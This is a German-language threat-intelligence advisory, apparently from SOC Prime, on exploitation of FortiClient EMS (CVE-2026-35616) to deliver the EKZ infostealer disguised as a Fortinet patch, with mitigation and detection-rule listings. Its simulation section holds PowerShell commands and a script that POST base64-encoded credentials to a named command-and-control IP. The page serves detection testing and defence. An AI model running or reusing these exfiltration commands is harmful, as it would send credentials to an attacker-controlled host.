SOC Prime Bias: Kritisch

29 May 2026 07:30 UTC

FortiClient EMS über CVE-2026-35616 ausgenutzt, um EKZ Infostealer getarnt als Fortinet-Patch zu liefern

Author Photo
SOC Prime Team linkedin icon Folgen
FortiClient EMS über CVE-2026-35616 ausgenutzt, um EKZ Infostealer getarnt als Fortinet-Patch zu liefern
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Arctic Wolf hat eine Kampagne identifiziert, die ausgenutzt hat CVE-2026-35616 in FortiClient EMS, um ein bösartiges PowerShell-Skript auf verwaltete Endpunkte zu verteilen. Dieses Skript rief eine als legitimer Fortinet-Patch getarnte Nutzlast ab und startete sie zum Stehlen von Anmeldedaten, bekannt als EKZ Infostealer. Die Malware sammelte Passwörter, Cookies und Autovervollständigungsinformationen der Browser und exfiltrierte die gestohlenen Daten über HTTP. Indem die Angreifer die vertrauenswürdigen EMS-Konfigurationskanäle ausnutzten, konnten sie die Nutzlast schnell auf mehreren verwalteten Geräten ausführen.

Untersuchung

Forscher rekonstruierten den Exploit, indem sie speziell präparierte, nicht authentifizierte HTTP-Anfragen an die FortiClient EMS-APIs sendeten, was zu Konfigurationsänderungen führte, die bösartige Skripte einfügten. Ausführungsspuren zeigten fortitray.exe or ipsec.exe , die cmd.exestarteten, was wiederum einen Base64-codierten PowerShell-Befehl ausführte, der p.exe von einer bösartigen IP-Adresse herunterlud. Die Nutzlast schrieb eine log.txt Datei nach ProgramData, sendete die erfassten Daten zurück an denselben Server und löschte sich dann selbst.

Minderung

Organisationen sollten FortiClient EMS auf eine Version aktualisieren, die CVE-2026-35616 behebt und den API-Zugriff auf genehmigte Quell-IP-Adressen beschränken. Verteidiger sollten auch EMS-Protokolle auf zertifikatsbezogene Fehler und unerwartete Änderungen in Remote Access Profiles überprüfen. Ausgehender HTTP-Verkehr von Endpunkten zu unbekannten IP-Adressen sollte blockiert werden, und die Skriptausführung innerhalb von VPN-Profil-Workflows sollte durch minimale Rechtekontrollen eingeschränkt werden.

Reaktion

Wird diese Aktivität festgestellt, sollten betroffene Hosts sofort isoliert, unautorisierte EMS-Konten, die möglicherweise erstellt wurden, widerrufen und bösartige Skriptdateien aus dem FortiClient-Protokollverzeichnis entfernt werden. Ermittler sollten das log.txt Artefakt bewahren, Hashes für die bösartigen Binärdateien berechnen und nach übereinstimmenden Indikatoren in der Umgebung suchen. Ausgesetzte Browser-Anmeldedaten sollten zurückgesetzt und Teams sollten auf verdächtige Authentifizierungsaktivitäten achten, die dem Diebstahl folgen könnten.

Angriffsfluss

Erkennungen

Kurzer Dateiname (via cmdline)

SOC Prime Team
28. Mai 2026

Verdächtige CURL-Nutzung (via cmdline)

SOC Prime Team
28. Mai 2026

Verdächtige .NET-Methodenaufrufe von Powershell (via powershell)

SOC Prime Team
28. Mai 2026

Mögliche Bits Transfer-Aktivität (via powershell)

SOC Prime Team
28. Mai 2026

IOC’s (HashSha256) zur Erkennung: FortiClient EMS mittels CVE-2026-35616 ausgenutzt, um EKZ Infostealer als Fortinet Patch getarnt zu liefern

SOC Prime AI Regeln
28. Mai 2026

IOC’s (HashSha1) zur Erkennung: FortiClient EMS mittels CVE-2026-35616 ausgenutzt, um EKZ Infostealer als Fortinet Patch getarnt zu liefern

SOC Prime AI Regeln
28. Mai 2026

IOC’s (HashMd5) zur Erkennung: FortiClient EMS mittels CVE-2026-35616 ausgenutzt, um EKZ Infostealer als Fortinet Patch getarnt zu liefern

SOC Prime AI Regeln
28. Mai 2026

IOC’s (SourceIP) zur Erkennung: FortiClient EMS mittels CVE-2026-35616 ausgenutzt, um EKZ Infostealer als Fortinet Patch getarnt zu liefern

SOC Prime AI Regeln
28. Mai 2026

IOC’s (DestinationIP) zur Erkennung: FortiClient EMS mittels CVE-2026-35616 ausgenutzt, um EKZ Infostealer als Fortinet Patch getarnt zu liefern

SOC Prime AI Regeln
28. Mai 2026

EKZ Infostealer Anmeldedaten-Exfiltration via HTTP POST [Windows Netzwerkverbindung]

SOC Prime AI Regeln
28. Mai 2026

FortiClient EMS mittels CVE-2026-35616 ausgenutzt, um EKZ Infostealer zu liefern [Windows Prozess-Erstellung]

SOC Prime AI Regeln
28. Mai 2026

PowerShell-Ausführung über FortiClient zur Lieferung von EKZ Infostealer [Windows Powershell]

SOC Prime AI Regeln
28. Mai 2026

Simulation der Ausführung

Voraussetzung: Die Telemetrie- & Basislinien-Vorfluganalyse muss bestanden haben.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Angreifertechniken (TTP), die zur Auslösung der Erkennungsregel führen. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die von der Erkennung erwartete exakte Telemetrie zu generieren. Abstrakte oder nicht verwandte Beispiele führen zu Fehldiagnosen.

  • Angriffsnarrativ & Befehle:
    Der Angreifer hat zuvor Anmeldedaten aus der Windows-Registry (Familie T1216) mit EKZ Infostealer gewonnen. Um den gesammelten Blob zu exfiltrieren, startet die Malware eine PowerShell-Einzeiler, die die Base64-codierten Anmeldedaten zu ihrem Command-and-Control-Server bei 83.138.53.110 postet. Die Verwendung von PowerShell (Invoke-WebRequest) ist eine klassische Technik des „Living off the Land“, die binäre-basierte Erkennungen umgeht, während sie dennoch Netzwerktelemetrie erzeugt, die von der Firewall beobachtet werden kann.

    powershell
    # Simulierte Anmeldedaten-Nutzlast (Base64 von "user:pass")
    $payload = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("administrator:Password123!"))
    $uri = "http://83.138.53.110/collect"
    Invoke-WebRequest -Uri $uri -Method POST -Body $payload -ContentType "application/x-www-form-urlencoded"
    
  • Regressionstest-Skript: Dieses eigenständige PowerShell-Skript reproduziert den Exfiltration-Schritt und kann für zukünftige Regressionen erneut ausgeführt werden.

    powershell
    <#
    .SYNOPSIS
        EKZ Infostealer Anmeldedaten-Exfiltrationssimulation (HTTP POST).
    
    .DESCRIPTION
        Erzeugt einen gefälschten Anmeldedaten-Blob, kodiert diesen und postet ihn an die
        bekannte bösartige IP, die in der Erkennungsregel verwendet wird.
    
    .NOTES
        Erfordert zulässigen ausgehenden HTTP-Verkehr zu 83.138.53.110 auf Port 80.
    #>
    
    # ---- Vorbereitung ----
    $creds   = "admin_user:SuperSecret!"
    $b64     = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($creds))
    $target  = "http://83.138.53.110/collect"
    
    # ---- Ausführung ----
    try {
        Write-Host "[*] Sende Anmeldedaten-Blob an $target ..."
        $resp = Invoke-WebRequest -Uri $target -Method POST -Body $b64 -ContentType "application/x-www-form-urlencoded" -UseBasicParsing
        Write-Host "[+] HTTP-Status:" $resp.StatusCode
    } catch {
        Write-Error "[-] POST fehlgeschlagen: $_"
    }
    
    # ---- Ende des Skripts ----
    
  • Bereinigungsbefehle: Es werden keine dauerhaften Artefakte auf der Festplatte erstellt, aber um gründlich zu sein, schließen wir alle verbleibenden Webanfrage-Sitzungen und löschen die PowerShell-Variable.

    powershell
    # Variablen bereinigen und alle offenen Web-Sitzungen schließen
    Remove-Variable -Name creds,b64,target -ErrorAction SilentlyContinue
    if (Get-Command -Name Remove-WebRequestSession -ErrorAction SilentlyContinue) {
        Remove-WebRequestSession -All
    }
    Write-Host "[*] Bereinigung abgeschlossen."